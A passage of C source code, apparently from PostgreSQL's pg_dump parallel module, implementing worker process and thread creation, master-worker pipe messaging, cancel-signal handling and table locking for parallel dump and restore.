in process * startup. (Currently, this is called whether or not we intend parallel * activity.) */ void init_parallel_dump_utils(void) { #ifdef WIN32 if (!parallel_init_done) { WSADATA wsaData; int err; /* Prepare for threaded operation */ tls_index = TlsAlloc(); mainThreadId = GetCurrentThreadId(); /* Initialize socket access */ err = WSAStartup(MAKEWORD(2, 2), &wsaData); if (err != 0) { fprintf(stderr, _("%s: WSAStartup failed: %d\n"), progname, err); exit_nicely(1); } parallel_init_done = true; } #endif } /* * Find the ParallelSlot for the current worker process or thread. * * Returns NULL if no matching slot is found (this implies we're the master). */ static ParallelSlot * GetMyPSlot(ParallelState *pstate) { int i; for (i = 0; i < pstate->numWorkers; i++) { #ifdef WIN32 if (pstate->parallelSlot[i].threadId == GetCurrentThreadId()) #else if (pstate->parallelSlot[i].pid == getpid()) #endif return &(pstate->parallelSlot[i]); } return NULL; } /* * A thread-local version of getLocalPQExpBuffer(). * * Non-reentrant but reduces memory leakage: we'll consume one buffer per * thread, which is much better than one per fmtId/fmtQualifiedId call. */ #ifdef WIN32 static PQExpBuffer getThreadLocalPQExpBuffer(void) { /* * The Tls code goes awry if we use a static var, so we provide for both * static and auto, and omit any use of the static var when using Tls. We * rely on TlsGetValue() to return 0 if the value is not yet set. */ static PQExpBuffer s_id_return = NULL; PQExpBuffer id_return; if (parallel_init_done) id_return = (PQExpBuffer) TlsGetValue(tls_index); else id_return = s_id_return; if (id_return) /* first time through? */ { /* same buffer, just wipe contents */ resetPQExpBuffer(id_return); } else { /* new buffer */ id_return = createPQExpBuffer(); if (parallel_init_done) TlsSetValue(tls_index, id_return); else s_id_return = id_return; } return id_return; } #endif /* WIN32 */ /* * pg_dump and pg_restore call this to register the cleanup handler * as soon as they've created the ArchiveHandle. */ void on_exit_close_archive(Archive *AHX) { shutdown_info.AHX = AHX; on_exit_nicely(archive_close_connection, &shutdown_info); } /* * on_exit_nicely handler for shutting down database connections and * worker processes cleanly. */ static void archive_close_connection(int code, void *arg) { ShutdownInformation *si = (ShutdownInformation *) arg; if (si->pstate) { /* In parallel mode, must figure out who we are */ ParallelSlot *slot = GetMyPSlot(si->pstate); if (!slot) { /* * We're the master. Forcibly shut down workers, then close our * own database connection, if any. */ ShutdownWorkersHard(si->pstate); if (si->AHX) DisconnectDatabase(si->AHX); } else { /* * We're a worker. Shut down our own DB connection if any. On * Windows, we also have to close our communication sockets, to * emulate what will happen on Unix when the worker process exits. * (Without this, if this is a premature exit, the master would * fail to detect it because there would be no EOF condition on * the other end of the pipe.) */ if (slot->args->AH) DisconnectDatabase(&(slot->args->AH->public)); #ifdef WIN32 closesocket(slot->pipeRevRead); closesocket(slot->pipeRevWrite); #endif } } else { /* Non-parallel operation: just kill the master DB connection */ if (si->AHX) DisconnectDatabase(si->AHX); } } /* * Forcibly shut down any remaining workers, waiting for them to finish. * * Note that we don't expect to come here during normal exit (the workers * should be long gone, and the ParallelState too). We're only here in an * exit_horribly() situation, so intervening to cancel active commands is * appropriate. */ static void ShutdownWorkersHard(ParallelState *pstate) { int i; /* * Close our write end of the sockets so that any workers waiting for * commands know they can exit. (Note: some of the pipeWrite fields might * still be zero, if we failed to initialize all the workers. Hence, just * ignore errors here.) */ for (i = 0; i < pstate->numWorkers; i++) closesocket(pstate->parallelSlot[i].pipeWrite); /* * Force early termination of any commands currently in progress. */ #ifndef WIN32 /* On non-Windows, send SIGTERM to each worker process. */ for (i = 0; i < pstate->numWorkers; i++) { pid_t pid = pstate->parallelSlot[i].pid; if (pid != 0) kill(pid, SIGTERM); } #else /* * On Windows, send query cancels directly to the workers' backends. Use * a critical section to ensure worker threads don't change state. */ EnterCriticalSection(&signal_info_lock); for (i = 0; i < pstate->numWorkers; i++) { ArchiveHandle *AH = pstate->parallelSlot[i].args->AH; char errbuf[1]; if (AH != NULL && AH->connCancel != NULL) (void) PQcancel(AH->connCancel, errbuf, sizeof(errbuf)); } LeaveCriticalSection(&signal_info_lock); #endif /* Now wait for them to terminate. */ WaitForTerminatingWorkers(pstate); } /* * Wait for all workers to terminate. */ static void WaitForTerminatingWorkers(ParallelState *pstate) { while (!HasEveryWorkerTerminated(pstate)) { ParallelSlot *slot = NULL; int j; #ifndef WIN32 /* On non-Windows, use wait() to wait for next worker to end */ int status; pid_t pid = wait(&status); /* Find dead worker's slot, and clear the PID field */ for (j = 0; j < pstate->numWorkers; j++) { slot = &(pstate->parallelSlot[j]); if (slot->pid == pid) { slot->pid = 0; break; } } #else /* WIN32 */ /* On Windows, we must use WaitForMultipleObjects() */ HANDLE *lpHandles = pg_malloc(sizeof(HANDLE) * pstate->numWorkers); int nrun = 0; DWORD ret; uintptr_t hThread; for (j = 0; j < pstate->numWorkers; j++) { if (WORKER_IS_RUNNING(pstate->parallelSlot[j].workerStatus)) { lpHandles[nrun] = (HANDLE) pstate->parallelSlot[j].hThread; nrun++; } } ret = WaitForMultipleObjects(nrun, lpHandles, false, INFINITE); Assert(ret != WAIT_FAILED); hThread = (uintptr_t) lpHandles[ret - WAIT_OBJECT_0]; free(lpHandles); /* Find dead worker's slot, and clear the hThread field */ for (j = 0; j < pstate->numWorkers; j++) { slot = &(pstate->parallelSlot[j]); if (slot->hThread == hThread) { /* For cleanliness, close handles for dead threads */ CloseHandle((HANDLE) slot->hThread); slot->hThread = (uintptr_t) INVALID_HANDLE_VALUE; break; } } #endif /* WIN32 */ /* On all platforms, update workerStatus as well */ Assert(j < pstate->numWorkers); slot->workerStatus = WRKR_TERMINATED; } } /* * Code for responding to cancel interrupts (SIGINT, control-C, etc) * * This doesn't quite belong in this module, but it needs access to the * ParallelState data, so there's not really a better place either. * * When we get a cancel interrupt, we could just die, but in pg_restore that * could leave a SQL command (e.g., CREATE INDEX on a large table) running * for a long time. Instead, we try to send a cancel request and then die. * pg_dump probably doesn't really need this, but we might as well use it * there too. Note that sending the cancel directly from the signal handler * is safe because PQcancel() is written to make it so. * * In parallel operation on Unix, each process is responsible for canceling * its own connection (this must be so because nobody else has access to it). * Furthermore, the master process should attempt to forward its signal to * each child. In simple manual use of pg_dump/pg_restore, forwarding isn't * needed because typing control-C at the console would deliver SIGINT to * every member of the terminal process group --- but in other scenarios it * might be that only the master gets signaled. * * On Windows, the cancel handler runs in a separate thread, because that's * how SetConsoleCtrlHandler works. We make it stop worker threads, send * cancels on all active connections, and then return FALSE, which will allow * the process to die. For safety's sake, we use a critical section to * protect the PGcancel structures against being changed while the signal * thread runs. */ #ifndef WIN32 /* * Signal handler (Unix only) */ static void sigTermHandler(SIGNAL_ARGS) { int i; char errbuf[1]; /* * Some platforms allow delivery of new signals to interrupt an active * signal handler. That could muck up our attempt to send PQcancel, so * disable the signals that setup_cancel_handler enabled. */ pqsignal(SIGINT, SIG_IGN); pqsignal(SIGTERM, SIG_IGN); pqsignal(SIGQUIT, SIG_IGN); /* * If we're in the master, forward signal to all workers. (It seems best * to do this before PQcancel; killing the master transaction will result * in invalid-snapshot errors from active workers, which maybe we can * quiet by killing workers first.) Ignore any errors. */ if (signal_info.pstate != NULL) { for (i = 0; i < signal_info.pstate->numWorkers; i++) { pid_t pid = signal_info.pstate->parallelSlot[i].pid; if (pid != 0) kill(pid, SIGTERM); } } /* * Send QueryCancel if we have a connection to send to. Ignore errors, * there's not much we can do about them anyway. */ if (signal_info.myAH != NULL && signal_info.myAH->connCancel != NULL) (void) PQcancel(signal_info.myAH->connCancel, errbuf, sizeof(errbuf)); /* * Report we're quitting, using nothing more complicated than write(2). * When in parallel operation, only the master process should do this. */ if (!signal_info.am_worker) { if (progname) { write_stderr(progname); write_stderr(": "); } write_stderr("terminated by user\n"); } /* * And die, using _exit() not exit() because the latter will invoke atexit * handlers that can fail if we interrupted related code. */ _exit(1); } /* * Enable cancel interrupt handler, if not already done. */ static void setup_cancel_handler(void) { /* * When forking, signal_info.handler_set will propagate into the new * process, but that's fine because the signal handler state does too. */ if (!signal_info.handler_set) { signal_info.handler_set = true; pqsignal(SIGINT, sigTermHandler); pqsignal(SIGTERM, sigTermHandler); pqsignal(SIGQUIT, sigTermHandler); } } #else /* WIN32 */ /* * Console interrupt handler --- runs in a newly-started thread. * * After stopping other threads and sending cancel requests on all open * connections, we return FALSE which will allow the default ExitProcess() * action to be taken. */ static BOOL WINAPI consoleHandler(DWORD dwCtrlType) { int i; char errbuf[1]; if (dwCtrlType == CTRL_C_EVENT || dwCtrlType == CTRL_BREAK_EVENT) { /* Critical section prevents changing data we look at here */ EnterCriticalSection(&signal_info_lock); /* * If in parallel mode, stop worker threads and send QueryCancel to * their connected backends. The main point of stopping the worker * threads is to keep them from reporting the query cancels as errors, * which would clutter the user's screen. We needn't stop the master * thread since it won't be doing much anyway. Do this before * canceling the main transaction, else we might get invalid-snapshot * errors reported before we can stop the workers. Ignore errors, * there's not much we can do about them anyway. */ if (signal_info.pstate != NULL) { for (i = 0; i < signal_info.pstate->numWorkers; i++) { ParallelSlot *slot = &(signal_info.pstate->parallelSlot[i]); ArchiveHandle *AH = slot->args->AH; HANDLE hThread = (HANDLE) slot->hThread; /* * Using TerminateThread here may leave some resources leaked, * but it doesn't matter since we're about to end the whole * process. */ if (hThread != INVALID_HANDLE_VALUE) TerminateThread(hThread, 0); if (AH != NULL && AH->connCancel != NULL) (void) PQcancel(AH->connCancel, errbuf, sizeof(errbuf)); } } /* * Send QueryCancel to master connection, if enabled. Ignore errors, * there's not much we can do about them anyway. */ if (signal_info.myAH != NULL && signal_info.myAH->connCancel != NULL) (void) PQcancel(signal_info.myAH->connCancel, errbuf, sizeof(errbuf)); LeaveCriticalSection(&signal_info_lock); /* * Report we're quitting, using nothing more complicated than * write(2). (We might be able to get away with using write_msg() * here, but since we terminated other threads uncleanly above, it * seems better to assume as little as possible.) */ if (progname) { write_stderr(progname); write_stderr(": "); } write_stderr("terminated by user\n"); } /* Always return FALSE to allow signal handling to continue */ return FALSE; } /* * Enable cancel interrupt handler, if not already done. */ static void setup_cancel_handler(void) { if (!signal_info.handler_set) { signal_info.handler_set = true; InitializeCriticalSection(&signal_info_lock); SetConsoleCtrlHandler(consoleHandler, TRUE); } } #endif /* WIN32 */ /* * set_archive_cancel_info * * Fill AH->connCancel with cancellation info for the specified database * connection; or clear it if conn is NULL. */ void set_archive_cancel_info(ArchiveHandle *AH, PGconn *conn) { PGcancel *oldConnCancel; /* * Activate the interrupt handler if we didn't yet in this process. On * Windows, this also initializes signal_info_lock; therefore it's * important that this happen at least once before we fork off any * threads. */ setup_cancel_handler(); /* * On Unix, we assume that storing a pointer value is atomic with respect * to any possible signal interrupt. On Windows, use a critical section. */ #ifdef WIN32 EnterCriticalSection(&signal_info_lock); #endif /* Free the old one if we have one */ oldConnCancel = AH->connCancel; /* be sure interrupt handler doesn't use pointer while freeing */ AH->connCancel = NULL; if (oldConnCancel != NULL) PQfreeCancel(oldConnCancel); /* Set the new one if specified */ if (conn) AH->connCancel = PQgetCancel(conn); /* * On Unix, there's only ever one active ArchiveHandle per process, so we * can just set signal_info.myAH unconditionally. On Windows, do that * only in the main thread; worker threads have to make sure their * ArchiveHandle appears in the pstate data, which is dealt with in * RunWorker(). */ #ifndef WIN32 signal_info.myAH = AH; #else if (mainThreadId == GetCurrentThreadId()) signal_info.myAH = AH; #endif #ifdef WIN32 LeaveCriticalSection(&signal_info_lock); #endif } /* * set_cancel_pstate * * Set signal_info.pstate to point to the specified ParallelState, if any. * We need this mainly to have an interlock against Windows signal thread. */ static void set_cancel_pstate(ParallelState *pstate) { #ifdef WIN32 EnterCriticalSection(&signal_info_lock); #endif signal_info.pstate = pstate; #ifdef WIN32 LeaveCriticalSection(&signal_info_lock); #endif } /* * set_cancel_slot_archive * * Set ParallelSlot's AH field to point to the specified archive, if any. * We need this mainly to have an interlock against Windows signal thread. */ static void set_cancel_slot_archive(ParallelSlot *slot, ArchiveHandle *AH) { #ifdef WIN32 EnterCriticalSection(&signal_info_lock); #endif slot->args->AH = AH; #ifdef WIN32 LeaveCriticalSection(&signal_info_lock); #endif } /* * This function is called by both Unix and Windows variants to set up * and run a worker process. Caller should exit the process (or thread) * upon return. */ static void RunWorker(ArchiveHandle *AH, ParallelSlot *slot) { int pipefd[2]; /* fetch child ends of pipes */ pipefd[PIPE_READ] = slot->pipeRevRead; pipefd[PIPE_WRITE] = slot->pipeRevWrite; /* * Clone the archive so that we have our own state to work with, and in * particular our own database connection. * * We clone on Unix as well as Windows, even though technically we don't * need to because fork() gives us a copy in our own address space * already. But CloneArchive resets the state information and also clones * the database connection which both seem kinda helpful. */ AH = CloneArchive(AH); /* Remember cloned archive where signal handler can find it */ set_cancel_slot_archive(slot, AH); /* * Call the setup worker function that's defined in the ArchiveHandle. */ (AH->SetupWorkerPtr) ((Archive *) AH); /* * Execute commands until done. */ WaitForCommands(AH, pipefd); /* * Disconnect from database and clean up. */ set_cancel_slot_archive(slot, NULL); DisconnectDatabase(&(AH->public)); DeCloneArchive(AH); } /* * Thread base function for Windows */ #ifdef WIN32 static unsigned __stdcall init_spawned_worker_win32(WorkerInfo *wi) { ArchiveHandle *AH = wi->AH; ParallelSlot *slot = wi->slot; /* Don't need WorkerInfo anymore */ free(wi); /* Run the worker ... */ RunWorker(AH, slot); /* Exit the thread */ _endthreadex(0); return 0; } #endif /* WIN32 */ /* * This function starts a parallel dump or restore by spawning off the worker * processes. For Windows, it creates a number of threads; on Unix the * workers are created with fork(). */ ParallelState * ParallelBackupStart(ArchiveHandle *AH) { ParallelState *pstate; int i; const size_t slotSize = AH->public.numWorkers * sizeof(ParallelSlot); Assert(AH->public.numWorkers > 0); pstate = (ParallelState *) pg_malloc(sizeof(ParallelState)); pstate->numWorkers = AH->public.numWorkers; pstate->parallelSlot = NULL; if (AH->public.numWorkers == 1) return pstate; /* Create status array, being sure to initialize all fields to 0 */ pstate->parallelSlot = (ParallelSlot *) pg_malloc(slotSize); memset((void *) pstate->parallelSlot, 0, slotSize); #ifdef WIN32 /* Make fmtId() and fmtQualifiedId() use thread-local storage */ getLocalPQExpBuffer = getThreadLocalPQExpBuffer; #endif /* * Set the pstate in shutdown_info, to tell the exit handler that it must * clean up workers as well as the main database connection. But we don't * set this in signal_info yet, because we don't want child processes to * inherit non-NULL signal_info.pstate. */ shutdown_info.pstate = pstate; /* * Temporarily disable query cancellation on the master connection. This * ensures that child processes won't inherit valid AH->connCancel * settings and thus won't try to issue cancels against the master's * connection. No harm is done if we fail while it's disabled, because * the master connection is idle at this point anyway. */ set_archive_cancel_info(AH, NULL); /* Ensure stdio state is quiesced before forking */ fflush(NULL); /* Create desired number of workers */ for (i = 0; i < pstate->numWorkers; i++) { #ifdef WIN32 WorkerInfo *wi; uintptr_t handle; #else pid_t pid; #endif ParallelSlot *slot = &(pstate->parallelSlot[i]); int pipeMW[2], pipeWM[2]; slot->args = (ParallelArgs *) pg_malloc(sizeof(ParallelArgs)); slot->args->AH = NULL; slot->args->te = NULL; /* Create communication pipes for this worker */ if (pgpipe(pipeMW) < 0 || pgpipe(pipeWM) < 0) exit_horribly(modulename, "could not create communication channels: %s\n", strerror(errno)); /* master's ends of the pipes */ slot->pipeRead = pipeWM[PIPE_READ]; slot->pipeWrite = pipeMW[PIPE_WRITE]; /* child's ends of the pipes */ slot->pipeRevRead = pipeMW[PIPE_READ]; slot->pipeRevWrite = pipeWM[PIPE_WRITE]; #ifdef WIN32 /* Create transient structure to pass args to worker function */ wi = (WorkerInfo *) pg_malloc(sizeof(WorkerInfo)); wi->AH = AH; wi->slot = slot; handle = _beginthreadex(NULL, 0, (void *) &init_spawned_worker_win32, wi, 0, &(slot->threadId)); slot->hThread = handle; slot->workerStatus = WRKR_IDLE; #else /* !WIN32 */ pid = fork(); if (pid == 0) { /* we are the worker */ int j; /* this is needed for GetMyPSlot() */ slot->pid = getpid(); /* instruct signal handler that we're in a worker now */ signal_info.am_worker = true; /* close read end of Worker -> Master */ closesocket(pipeWM[PIPE_READ]); /* close write end of Master -> Worker */ closesocket(pipeMW[PIPE_WRITE]); /* * Close all inherited fds for communication of the master with * previously-forked workers. */ for (j = 0; j < i; j++) { closesocket(pstate->parallelSlot[j].pipeRead); closesocket(pstate->parallelSlot[j].pipeWrite); } /* Run the worker ... */ RunWorker(AH, slot); /* We can just exit(0) when done */ exit(0); } else if (pid < 0) { /* fork failed */ exit_horribly(modulename, "could not create worker process: %s\n", strerror(errno)); } /* In Master after successful fork */ slot->pid = pid; slot->workerStatus = WRKR_IDLE; /* close read end of Master -> Worker */ closesocket(pipeMW[PIPE_READ]); /* close write end of Worker -> Master */ closesocket(pipeWM[PIPE_WRITE]); #endif /* WIN32 */ } /* * Having forked off the workers, disable SIGPIPE so that master isn't * killed if it tries to send a command to a dead worker. We don't want * the workers to inherit this setting, though. */ #ifndef WIN32 pqsignal(SIGPIPE, SIG_IGN); #endif /* * Re-establish query cancellation on the master connection. */ set_archive_cancel_info(AH, AH->connection); /* * Tell the cancel signal handler to forward signals to worker processes, * too. (As with query cancel, we did not need this earlier because the * workers have not yet been given anything to do; if we die before this * point, any already-started workers will see EOF and quit promptly.) */ set_cancel_pstate(pstate); return pstate; } /* * Close down a parallel dump or restore. */ void ParallelBackupEnd(ArchiveHandle *AH, ParallelState *pstate) { int i; /* No work if non-parallel */ if (pstate->numWorkers == 1) return; /* There should not be any unfinished jobs */ Assert(IsEveryWorkerIdle(pstate)); /* Close the sockets so that the workers know they can exit */ for (i = 0; i < pstate->numWorkers; i++) { closesocket(pstate->parallelSlot[i].pipeRead); closesocket(pstate->parallelSlot[i].pipeWrite); } /* Wait for them to exit */ WaitForTerminatingWorkers(pstate); /* * Unlink pstate from shutdown_info, so the exit handler will not try to * use it; and likewise unlink from signal_info. */ shutdown_info.pstate = NULL; set_cancel_pstate(NULL); /* Release state (mere neatnik-ism, since we're about to terminate) */ free(pstate->parallelSlot); free(pstate); } /* * Dispatch a job to some free worker (caller must ensure there is one!) * * te is the TocEntry to be processed, act is the action to be taken on it. */ void DispatchJobForTocEntry(ArchiveHandle *AH, ParallelState *pstate, TocEntry *te, T_Action act) { int worker; char *arg; /* our caller makes sure that at least one worker is idle */ worker = GetIdleWorker(pstate); Assert(worker != NO_SLOT); /* Construct and send command string */ arg = (AH->MasterStartParallelItemPtr) (AH, te, act); sendMessageToWorker(pstate, worker, arg); /* XXX aren't we leaking string here? (no, because it's static. Ick.) */ /* Remember worker is busy, and which TocEntry it's working on */ pstate->parallelSlot[worker].workerStatus = WRKR_WORKING; pstate->parallelSlot[worker].args->te = te; } /* * Find an idle worker and return its slot number. * Return NO_SLOT if none are idle. */ int GetIdleWorker(ParallelState *pstate) { int i; for (i = 0; i < pstate->numWorkers; i++) { if (pstate->parallelSlot[i].workerStatus == WRKR_IDLE) return i; } return NO_SLOT; } /* * Return true iff no worker is running. */ static bool HasEveryWorkerTerminated(ParallelState *pstate) { int i; for (i = 0; i < pstate->numWorkers; i++) { if (WORKER_IS_RUNNING(pstate->parallelSlot[i].workerStatus)) return false; } return true; } /* * Return true iff every worker is in the WRKR_IDLE state. */ bool IsEveryWorkerIdle(ParallelState *pstate) { int i; for (i = 0; i < pstate->numWorkers; i++) { if (pstate->parallelSlot[i].workerStatus != WRKR_IDLE) return false; } return true; } /* * Acquire lock on a table to be dumped by a worker process. * * The master process is already holding an ACCESS SHARE lock. Ordinarily * it's no problem for a worker to get one too, but if anything else besides * pg_dump is running, there's a possible deadlock: * * 1) Master dumps the schema and locks all tables in ACCESS SHARE mode. * 2) Another process requests an ACCESS EXCLUSIVE lock (which is not granted * because the master holds a conflicting ACCESS SHARE lock). * 3) A worker process also requests an ACCESS SHARE lock to read the table. * The worker is enqueued behind the ACCESS EXCLUSIVE lock request. * 4) Now we have a deadlock, since the master is effectively waiting for * the worker. The server cannot detect that, however. * * To prevent an infinite wait, prior to touching a table in a worker, request * a lock in ACCESS SHARE mode but with NOWAIT. If we don't get the lock, * then we know that somebody else has requested an ACCESS EXCLUSIVE lock and * so we have a deadlock. We must fail the backup in that case. */ static void lockTableForWorker(ArchiveHandle *AH, TocEntry *te) { const char *qualId; PQExpBuffer query; PGresult *res; /* Nothing to do for BLOBS */ if (strcmp(te->desc, "BLOBS") == 0) return; query = createPQExpBuffer(); qualId = fmtQualifiedId(AH->public.remoteVersion, te->namespace, te->tag); appendPQExpBuffer(query, "LOCK TABLE %s IN ACCESS SHARE MODE NOWAIT", qualId); res = PQexec(AH->connection, query->data); if (!res || PQresultStatus(res) != PGRES_COMMAND_OK) exit_horribly(modulename, "could not obtain lock on relation \"%s\"\n" "This usually means that someone requested an ACCESS EXCLUSIVE lock " "on the table after the pg_dump parent process had gotten the " "initial ACCESS SHARE lock on the table.\n", qualId); PQclear(res); destroyPQExpBuffer(query); } /* * WaitForCommands: main routine for a worker process. * * Read and execute commands from the master until we see EOF on the pipe. */ static void WaitForCommands(ArchiveHandle *AH, int pipefd[2]) { char *command; DumpId dumpId; int nBytes; char *str; TocEntry *te; for (;;) { if (!(command = getMessageFromMaster(pipefd))) { /* EOF, so done */ return; } if (messageStartsWith(command, "DUMP ")) { /* Decode the command */ sscanf(command + strlen("DUMP "), "%d%n", &dumpId, &nBytes); Assert(nBytes == strlen(command) - strlen("DUMP ")); te = getTocEntryByDumpId(AH, dumpId); Assert(te != NULL); /* Acquire lock on this table within the worker's session */ lockTableForWorker(AH, te); /* Perform the dump command */ str = (AH->WorkerJobDumpPtr) (AH, te); /* Return status to master */ sendMessageToMaster(pipefd, str); /* we are responsible for freeing the status string */ free(str); } else if (messageStartsWith(command, "RESTORE ")) { /* Decode the command */ sscanf(command + strlen("RESTORE "), "%d%n", &dumpId, &nBytes); Assert(nBytes == strlen(command) - strlen("RESTORE ")); te = getTocEntryByDumpId(AH, dumpId); Assert(te != NULL); /* Perform the restore command */ str = (AH->WorkerJobRestorePtr) (AH, te); /* Return status to master */ sendMessageToMaster(pipefd, str); /* we are responsible for freeing the status string */ free(str); } else exit_horribly(modulename, "unrecognized command received from master: \"%s\"\n", command); /* command was pg_malloc'd and we are responsible for free()ing it. */ free(command); } } /* * Check for status messages from workers. * * If do_wait is true, wait to get a status message; otherwise, just return * immediately if there is none available. * * When we get a status message, we let MasterEndParallelItemPtr process it, * then save the resulting status code and switch the worker's state to * WRKR_FINISHED. Later, caller must call ReapWorkerStatus() to verify * that the status was "OK" and push the worker back to IDLE state. * * XXX Rube Goldberg would be proud of this API, but no one else should be. * * XXX is it worth checking for more than one status message per call? * It seems somewhat unlikely that multiple workers would finish at exactly * the same time. */ void ListenToWorkers(ArchiveHandle *AH, ParallelState *pstate, bool do_wait) { int worker; char *msg; /* Try to collect a status message */ msg = getMessageFromWorker(pstate, do_wait, &worker); if (!msg) { /* If do_wait is true, we must have detected EOF on some socket */ if (do_wait) exit_horribly(modulename, "a worker process died unexpectedly\n"); return; } /* Process it and update our idea of the worker's status */ if (messageStartsWith(msg, "OK ")) { TocEntry *te = pstate->parallelSlot[worker].args->te; char *statusString; if (messageStartsWith(msg, "OK RESTORE ")) { statusString = msg + strlen("OK RESTORE "); pstate->parallelSlot[worker].status = (AH->MasterEndParallelItemPtr) (AH, te, statusString, ACT_RESTORE); } else if (messageStartsWith(msg, "OK DUMP ")) { statusString = msg + strlen("OK DUMP "); pstate->parallelSlot[worker].status = (AH->MasterEndParallelItemPtr) (AH, te, statusString, ACT_DUMP); } else exit_horribly(modulename, "invalid message received from worker: \"%s\"\n", msg); pstate->parallelSlot[worker].workerStatus = WRKR_FINISHED; } else exit_horribly(modulename, "invalid message received from worker: \"%s\"\n", msg); /* Free the string returned from getMessageFromWorker */ free(msg); } /* * Check to see if any worker is in WRKR_FINISHED state. If so, * return its command status code into *status, reset it to IDLE state, * and return its slot number. Otherwise return NO_SLOT. * * This function is executed in the master process. */ int ReapWorkerStatus(ParallelState *pstate, int *status) { int i; for (i = 0; i < pstate->numWorkers; i++) { if (pstate->parallelSlot[i].workerStatus == WRKR_FINISHED) { *status = pstate->parallelSlot[i].status; pstate->parallelSlot[i].status = 0; pstate->parallelSlot[i].workerStatus = WRKR_IDLE; return i; } } return NO_SLOT; } /* * Wait, if necessary, until we have at least one idle worker. * Reap worker status as necessary to move FINISHED workers to IDLE state. * * We assume that no extra processing is required when reaping a finished * command, except for checking that the status was OK (zero). * Caution: that assumption means that this function can only be used in * parallel dump, not parallel restore, because the latter has a more * complex set of rules about handling status. * * This function is executed in the master process. */ void EnsureIdleWorker(ArchiveHandle *AH, ParallelState *pstate) { int ret_worker; int work_status; for (;;) { int nTerm = 0; while ((ret_worker = ReapWorkerStatus(pstate, &work_status)) != NO_SLOT) { if (work_status != 0) exit_horribly(modulename, "error processing a parallel work item\n"); nTerm++; } /* * We need to make sure that we have an idle worker before dispatching * the next item. If nTerm > 0 we already have that (quick check). */ if (nTerm > 0) return; /* explicit check for an idle worker */ if (GetIdleWorker(pstate) != NO_SLOT) return; /* * If we have no idle worker, read the result of one or more workers * and loop the loop to call ReapWorkerStatus() on them */ ListenToWorkers(AH, pstate, true); } } /* * Wait for all workers to be idle. * Reap worker status as necessary to move FINISHED workers to IDLE state. * * We assume that no extra processing is required when reaping a finished * command, except for checking that the status was OK (zero). * Caution: that assumption means that this function can only be used in * parallel dump, not parallel restore, because the latter has a more * complex set of rules about handling status. * * This function is executed in the master process. */ void EnsureWorkersFinished(ArchiveHandle *AH, ParallelState *pstate) { int work_status; if (!pstate || pstate->numWorkers == 1) return; /* Waiting for the remaining worker processes to finish */ while (!IsEveryWorkerIdle(pstate)) { if (ReapWorkerStatus(pstate, &work_status) == NO_SLOT) ListenToWorkers(AH, pstate, true); else if (work_status != 0) exit_horribly(modulename, "error processing a parallel work item\n"); } } /* * Read one command message from the master, blocking if necessary * until one is available, and return it as a malloc'd string. * On EOF, return NULL. * * This function is executed in worker processes. */ static char * getMessageFromMaster(int pipefd[2]) { return readMessageFromPipe(pipefd[PIPE_READ]); } /* * Send a status message to the master. * * This function is executed in worker processes. */ static void sendMessageToMaster(int pipefd[2], const char *str) { int len = strlen(str) + 1; if (pipewrite(pipefd[PIPE_WRITE], str, len) != len) exit_horribly(modulename, "could not write to the communication channel: %s\n", strerror(errno)); } /* * Wait until some descriptor in "workerset" becomes readable. * Returns -1 on error, else the number of readable descriptors. */ static int select_loop(int maxFd, fd_set *workerset) { int i; fd_set saveSet = *workerset; for (;;) { *workerset = saveSet; i = select(maxFd + 1, workerset, NULL, NULL, NULL); #ifndef WIN32 if (i < 0 && errno == EINTR) continue; #else if (i == SOCKET_ERROR && WSAGetLastError() == WSAEINTR) continue; #endif break; } return i; } /* * Check for messages from worker processes. * * If a message is available, return it as a malloc'd string, and put the * index of the sending worker in *worker. * * If nothing is available, wait if "do_wait" is true, else return NULL. * * If we detect EOF on any socket, we'll return NULL. It's not great that * that's hard to distinguish from the no-data-available case, but for now * our one caller is okay with that. * * This function is executed in the master process. */ static char * getMessageFromWorker(ParallelState *pstate, bool do_wait, int *worker) { int i; fd_set workerset; int maxFd = -1; struct timeval nowait = {0, 0}; /* construct bitmap of socket descriptors for select() */ FD_ZERO(&workerset); for (i = 0; i < pstate->numWorkers; i++) { if (!WORKER_IS_RUNNING(pstate->parallelSlot[i].workerStatus)) continue; FD_SET(pstate->parallelSlot[i].pipeRead, &workerset); if (pstate->parallelSlot[i].pipeRead > maxFd) maxFd = pstate->parallelSlot[i].pipeRead; } if (do_wait) { i = select_loop(maxFd, &workerset); Assert(i != 0); } else { if ((i = select(maxFd + 1, &workerset, NULL, NULL, &nowait)) == 0) return NULL; } if (i < 0) exit_horribly(modulename, "select() failed: %s\n", strerror(errno)); for (i = 0; i < pstate->numWorkers; i++) { char *msg; if (!WORKER_IS_RUNNING(pstate->parallelSlot[i].workerStatus)) continue; if (!FD_ISSET(pstate->parallelSlot[i].pipeRead, &workerset)) continue; /* * Read the message if any. If the socket is ready because of EOF, * we'll return NULL instead (and the socket will stay ready, so the * condition will persist). * * Note: because this is a blocking read, we'll wait if only part of * the message is available. Waiting a long time would be bad, but * since worker status messages are short and are always sent in one * operation, it shouldn't be a problem in practice. */ msg = readMessageFromPipe(pstate->parallelSlot[i].pipeRead); *worker = i; return msg; } Assert(false); return NULL; } /* * Send a command message to the specified worker process. * * This function is executed in the master process. */ static void sendMessageToWorker(ParallelState *pstate, int worker, const char *str) { int len = strlen(str) + 1; if (pipewrite(pstate->parallelSlot[worker].pipeWrite, str, len) != len) { exit_horribly(modulename, "could not write to the communication channel: %s\n", strerror(errno)); } } /* * Read one message from the specified pipe (fd), blocking if necessary * until one is available, and return it as a malloc'd string. * On EOF, return NULL. * * A "message" on the channel is just a null-terminated string. */ static char * readMessageFromPipe(int fd) { char *msg; int msgsize, bufsize; int ret; /* * In theory, if we let piperead() read multiple bytes, it might give us * back fragments of multiple messages. (That can't actually occur, since * neither master nor workers send more than one message without waiting * for a reply, but we don't wish to assume that here.) For simplicity, * read a byte at a time until we get the terminating '\0'. This method * is a bit inefficient, but since this is only used for relatively short * command and status strings, it shouldn't matter. */ bufsize = 64; /* could be any number */ msg = (char *) pg_malloc(bufsize); msgsize = 0; for (;;) { Assert(msgsize < bufsize); ret = piperead(fd, msg + msgsize, 1); if (ret <= 0) break; /* error or connection closure */ Assert(ret == 1); if (msg[msgsize] == '\0') return msg; /* collected whole message */ msgsize++; if (msgsize == bufsize) /* enlarge buffer if needed */ { bufsize += 16; /* could be any number */ msg = (char *) pg_realloc(msg, bufsize); } } /* Other end has closed the connection */ pg_free(msg); return NULL; } #ifdef WIN32 /* * This is a replacement version of pipe(2) for Windows which allows the pipe * handles to be used in select(). * * Reads and writes on the pipe must go through piperead()/pipewrite(). * * For consistency with Unix we declare the returned handles as "int". * This is okay even on WIN64 because system handles are not more than * 32 bits wide, but we do have to do some casting. */ static int pgpipe(int handles[2]) { pgsocket s, 